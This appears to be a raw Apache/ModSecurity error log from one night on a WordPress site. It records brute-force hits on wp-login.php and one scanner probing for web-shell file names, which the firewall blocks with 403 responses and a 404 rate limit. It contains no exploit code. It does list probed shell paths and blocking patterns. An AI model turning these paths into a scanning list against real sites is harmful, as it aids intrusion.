[Sun Dec 14 01:34:06.808062 2025] [:error] [pid 14689:tid 14696] [client 206.123.130.11:20709] [client 206.123.130.11] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 206.123.130.11, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/shop/wp-login.php"] [unique_id "aT2jjkEcifvaa9I7Snl_ZgAAAUM"]
[Sun Dec 14 01:34:07.280482 2025] [:error] [pid 14689:tid 14706] [client 89.187.182.9:57085] [client 89.187.182.9] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.187.182.9, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/blog/wp-login.php"] [unique_id "aT2jj0Ecifvaa9I7Snl_agAAAU0"]
[Sun Dec 14 01:34:09.095726 2025] [:error] [pid 3636:tid 3711] [client 206.123.130.11:58584] [client 206.123.130.11] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 206.123.130.11, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/shop/wp-login.php"] [unique_id "aT2jkd4pNg3LXPqKgeY6ggAAARM"]
[Sun Dec 14 01:34:09.381098 2025] [:error] [pid 3720:tid 3728] [client 192.42.116.215:47923] [client 192.42.116.215] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.42.116.215, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wordpress/wp-login.php"] [unique_id "aT2jke7_sgsCEY5RMYriWAAAAIY"]
[Sun Dec 14 01:34:10.172698 2025] [:error] [pid 14689:tid 14714] [client 51.210.104.160:46085] [client 51.210.104.160] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.210.104.160, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/store/wp-login.php"] [unique_id "aT2jkkEcifvaa9I7Snl_ewAAAVU"]
[Sun Dec 14 01:34:10.391714 2025] [:error] [pid 14689:tid 14693] [client 192.42.116.218:54325] [client 192.42.116.218] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.42.116.218, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aT2jkkEcifvaa9I7Snl_fQAAAUA"]
[Sun Dec 14 01:34:10.402320 2025] [proxy_fcgi:error] [pid 14689:tid 14693] [client 192.42.116.218:54325] AH01071: Got error 'Primary script unknown'
[Sun Dec 14 01:34:11.361559 2025] [:error] [pid 14654:tid 14665] [client 188.126.89.107:47976] [client 188.126.89.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.126.89.107, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/shop/wp-login.php"] [unique_id "aT2jkzqZP_N7tgSGeZcwzgAAAAg"]
[Sun Dec 14 01:34:16.901657 2025] [:error] [pid 3634:tid 3649] [client 45.141.215.238:28276] [client 45.141.215.238] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.215.238, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/blog/wp-login.php"] [unique_id "aT2jmIbt-wTl4d7Q7qp9MAAAAEs"]
[Sun Dec 14 01:34:19.045125 2025] [:error] [pid 3635:tid 3677] [client 51.210.104.160:52109] [client 51.210.104.160] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.210.104.160, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/store/wp-login.php"] [unique_id "aT2jmzqfhzW7OpfKxKzp5QAAAMw"]
[Sun Dec 14 01:34:19.057194 2025] [:error] [pid 14689:tid 14714] [client 192.42.116.218:28289] [client 192.42.116.218] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.42.116.218, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aT2jm0Ecifvaa9I7Snl_tQAAAVU"]
[Sun Dec 14 01:34:19.061706 2025] [proxy_fcgi:error] [pid 14689:tid 14714] [client 192.42.116.218:28289] AH01071: Got error 'Primary script unknown'
[Sun Dec 14 01:34:27.751682 2025] [:error] [pid 3636:tid 3704] [client 192.42.116.218:59169] [client 192.42.116.218] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.42.116.218, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aT2jo94pNg3LXPqKgeY6mwAAAQw"]
[Sun Dec 14 01:34:27.757146 2025] [proxy_fcgi:error] [pid 3636:tid 3704] [client 192.42.116.218:59169] AH01071: Got error 'Primary script unknown'
[Sun Dec 14 01:34:27.934099 2025] [:error] [pid 14654:tid 14670] [client 51.210.104.160:59151] [client 51.210.104.160] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.210.104.160, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/store/wp-login.php"] [unique_id "aT2jozqZP_N7tgSGeZcw9gAAAA0"]
[Sun Dec 14 01:34:29.367504 2025] [:error] [pid 14689:tid 14694] [client 51.210.108.69:55073] [client 51.210.108.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.210.108.69, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/store/wp-login.php"] [unique_id "aT2jpUEcifvaa9I7Snl_4QAAAUE"]
[Sun Dec 14 01:34:29.427276 2025] [:error] [pid 3636:tid 3706] [client 45.74.63.34:41368] [client 45.74.63.34] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.74.63.34, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aT2jpd4pNg3LXPqKgeY6nQAAAQ4"]
[Sun Dec 14 01:34:29.431530 2025] [proxy_fcgi:error] [pid 3636:tid 3706] [client 45.74.63.34:41368] AH01071: Got error 'Primary script unknown'
[Sun Dec 14 01:36:18.085490 2025] [:error] [pid 14689:tid 14701] [client 4.193.251.36:24073] [client 4.193.251.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/admin.php"] [unique_id "aT2kEkEcifvaa9I7SnmAggAAAUg"]
[Sun Dec 14 01:36:18.261263 2025] [:error] [pid 3635:tid 3665] [client 4.193.251.36:24155] [client 4.193.251.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/crop/zmFM.php"] [unique_id "aT2kEjqfhzW7OpfKxKzqcQAAAMA"]
[Sun Dec 14 01:36:18.445450 2025] [proxy_fcgi:error] [pid 14654:tid 14673] [client 4.193.251.36:24077] AH01071: Got error 'Primary script unknown'
[Sun Dec 14 01:36:18.531869 2025] [:error] [pid 14654:tid 14662] [client 4.193.251.36:24077] [client 4.193.251.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/about.php"] [unique_id "aT2kEjqZP_N7tgSGeZcxpQAAAAU"]
[Sun Dec 14 01:36:18.892739 2025] [proxy_fcgi:error] [pid 14654:tid 14669] [client 4.193.251.36:24130] AH01071: Got error 'Primary script unknown'
[Sun Dec 14 01:36:18.979909 2025] [:error] [pid 14654:tid 14677] [client 4.193.251.36:24130] [client 4.193.251.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/wp.php"] [unique_id "aT2kEjqZP_N7tgSGeZcxqQAAABQ"]
[Sun Dec 14 01:36:19.159934 2025] [proxy_fcgi:error] [pid 3635:tid 3687] [client 4.193.251.36:24185] AH01071: Got error 'Primary script unknown'
[Sun Dec 14 01:36:19.247280 2025] [:error] [pid 3635:tid 3668] [client 4.193.251.36:24185] [client 4.193.251.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-supports/about.php"] [unique_id "aT2kEzqfhzW7OpfKxKzqdAAAAMM"]
[Sun Dec 14 01:36:19.422726 2025] [:error] [pid 14654:tid 14664] [client 4.193.251.36:24140] [client 4.193.251.36] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.193.251.36, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/chosen.php/wp-admin/css/colors/ectoplasm/wp-login.php"] [unique_id "aT2kEzqZP_N7tgSGeZcxqgAAAAc"]
[Sun Dec 14 01:36:19.790198 2025] [:error] [pid 14654:tid 14659] [client 4.193.251.36:24140] [client 4.193.251.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/preferences/index.php"] [unique_id "aT2kEzqZP_N7tgSGeZcxrgAAAAI"]
[Sun Dec 14 01:36:20.061792 2025] [:error] [pid 3635:tid 3680] [client 4.193.251.36:24149] [client 4.193.251.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/html-api/index.php"] [unique_id "aT2kFDqfhzW7OpfKxKzqdgAAAM8"]
[Sun Dec 14 01:36:20.236488 2025] [:error] [pid 3720:tid 3730] [client 4.193.251.36:24086] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x.php"] [unique_id "aT2kFO7_sgsCEY5RMYrivwAAAIg"]
[Sun Dec 14 01:36:20.410630 2025] [:error] [pid 3636:tid 3699] [client 4.193.251.36:24083] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x.php"] [unique_id "aT2kFN4pNg3LXPqKgeY67QAAAQc"]
[Sun Dec 14 01:36:20.585997 2025] [:error] [pid 3720:tid 3735] [client 4.193.251.36:24186] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x.php"] [unique_id "aT2kFO7_sgsCEY5RMYriwAAAAI0"]
[Sun Dec 14 01:36:20.760134 2025] [:error] [pid 3635:tid 3685] [client 4.193.251.36:24176] [client 4.193.251.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aT2kFDqfhzW7OpfKxKzqeAAAANQ"]
[Sun Dec 14 01:36:20.935026 2025] [:error] [pid 3720:tid 3734] [client 4.193.251.36:24085] [client 4.193.251.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-patterns/vuln.php"] [unique_id "aT2kFO7_sgsCEY5RMYriwQAAAIw"]
[Sun Dec 14 01:36:21.109360 2025] [:error] [pid 14689:tid 14697] [client 4.193.251.36:24129] [client 4.193.251.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/fields/index.php"] [unique_id "aT2kFUEcifvaa9I7SnmAhwAAAUQ"]
[Sun Dec 14 01:36:21.284677 2025] [:error] [pid 14689:tid 14710] [client 4.193.251.36:24164] [client 4.193.251.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/media/wp-login.php"] [unique_id "aT2kFUEcifvaa9I7SnmAiAAAAVE"]
[Sun Dec 14 01:36:21.459850 2025] [:error] [pid 14689:tid 14712] [client 4.193.251.36:24141] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/autoload_classmap.php"] [unique_id "aT2kFUEcifvaa9I7SnmAigAAAVM"]
[Sun Dec 14 01:36:21.633341 2025] [:error] [pid 14689:tid 14709] [client 4.193.251.36:24150] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/autoload_classmap.php"] [unique_id "aT2kFUEcifvaa9I7SnmAiwAAAVA"]
[Sun Dec 14 01:36:21.808451 2025] [:error] [pid 3636:tid 3692] [client 4.193.251.36:24189] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/autoload_classmap.php"] [unique_id "aT2kFd4pNg3LXPqKgeY68AAAAQA"]
[Sun Dec 14 01:36:21.984851 2025] [:error] [pid 3636:tid 3694] [client 4.193.251.36:24179] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/images/404.php"] [unique_id "aT2kFd4pNg3LXPqKgeY68QAAAQI"]
[Sun Dec 14 01:36:22.159149 2025] [:error] [pid 14654:tid 14680] [client 4.193.251.36:24098] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/images/404.php"] [unique_id "aT2kFjqZP_N7tgSGeZcxsAAAABc"]
[Sun Dec 14 01:36:22.333722 2025] [:error] [pid 14654:tid 14681] [client 4.193.251.36:24094] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/images/404.php"] [unique_id "aT2kFjqZP_N7tgSGeZcxsQAAABg"]
[Sun Dec 14 01:36:22.507119 2025] [:error] [pid 3720:tid 3724] [client 4.193.251.36:24151] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/images/404.php"] [unique_id "aT2kFu7_sgsCEY5RMYriwgAAAII"]
[Sun Dec 14 01:36:22.681997 2025] [:error] [pid 14654:tid 14661] [client 4.193.251.36:24070] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/languages/asus.php"] [unique_id "aT2kFjqZP_N7tgSGeZcxsgAAAAQ"]
[Sun Dec 14 01:36:22.856303 2025] [:error] [pid 14654:tid 14668] [client 4.193.251.36:24138] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/languages/asus.php"] [unique_id "aT2kFjqZP_N7tgSGeZcxswAAAAs"]
[Sun Dec 14 01:36:23.030041 2025] [:error] [pid 14654:tid 14667] [client 4.193.251.36:24133] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/languages/asus.php"] [unique_id "aT2kFzqZP_N7tgSGeZcxtAAAAAo"]
[Sun Dec 14 01:36:23.204244 2025] [:error] [pid 14654:tid 14675] [client 4.193.251.36:24080] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/languages/asus.php"] [unique_id "aT2kFzqZP_N7tgSGeZcxtQAAABI"]
[Sun Dec 14 01:36:23.377861 2025] [:error] [pid 14654:tid 14673] [client 4.193.251.36:24152] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aT2kFzqZP_N7tgSGeZcxtgAAABA"]
[Sun Dec 14 01:36:23.551709 2025] [:error] [pid 3635:tid 3686] [client 4.193.251.36:24161] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aT2kFzqfhzW7OpfKxKzqegAAANU"]
[Sun Dec 14 01:36:23.728887 2025] [:error] [pid 3636:tid 3706] [client 4.193.251.36:24144] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aT2kF94pNg3LXPqKgeY69AAAAQ4"]
[Sun Dec 14 01:36:23.903232 2025] [:error] [pid 14689:tid 14717] [client 4.193.251.36:24096] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aT2kF0Ecifvaa9I7SnmAjAAAAVg"]
[Sun Dec 14 01:36:24.077393 2025] [:error] [pid 14689:tid 14701] [client 4.193.251.36:6104] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/pki-validation/parx.php"] [unique_id "aT2kGEEcifvaa9I7SnmAjQAAAUg"]
[Sun Dec 14 01:36:24.251754 2025] [:error] [pid 14654:tid 14662] [client 4.193.251.36:24183] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/pki-validation/parx.php"] [unique_id "aT2kGDqZP_N7tgSGeZcxtwAAAAU"]
[Sun Dec 14 01:36:24.425642 2025] [:error] [pid 3634:tid 3660] [client 4.193.251.36:24095] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/pki-validation/parx.php"] [unique_id "aT2kGIbt-wTl4d7Q7qp9ZgAAAFY"]
[Sun Dec 14 01:36:24.599152 2025] [:error] [pid 14654:tid 14660] [client 4.193.251.36:24153] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/pki-validation/parx.php"] [unique_id "aT2kGDqZP_N7tgSGeZcxuAAAAAM"]
[Sun Dec 14 01:36:24.772299 2025] [:error] [pid 14654:tid 14678] [client 4.193.251.36:24087] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/wp-login.php"] [unique_id "aT2kGDqZP_N7tgSGeZcxuQAAABU"]
[Sun Dec 14 01:36:24.946591 2025] [:error] [pid 14654:tid 14665] [client 4.193.251.36:24182] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/wp-login.php"] [unique_id "aT2kGDqZP_N7tgSGeZcxugAAAAg"]
[Sun Dec 14 01:36:25.119671 2025] [:error] [pid 3634:tid 3658] [client 4.193.251.36:24139] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/wp-login.php"] [unique_id "aT2kGYbt-wTl4d7Q7qp9aAAAAFQ"]
[Sun Dec 14 01:36:25.293754 2025] [:error] [pid 3636:tid 3705] [client 4.193.251.36:24090] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/wp-login.php"] [unique_id "aT2kGd4pNg3LXPqKgeY69QAAAQ0"]
[Sun Dec 14 01:36:25.469324 2025] [:error] [pid 14689:tid 14703] [client 4.193.251.36:6123] [client 4.193.251.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/12wudscz.php"] [unique_id "aT2kGUEcifvaa9I7SnmAjwAAAUo"]
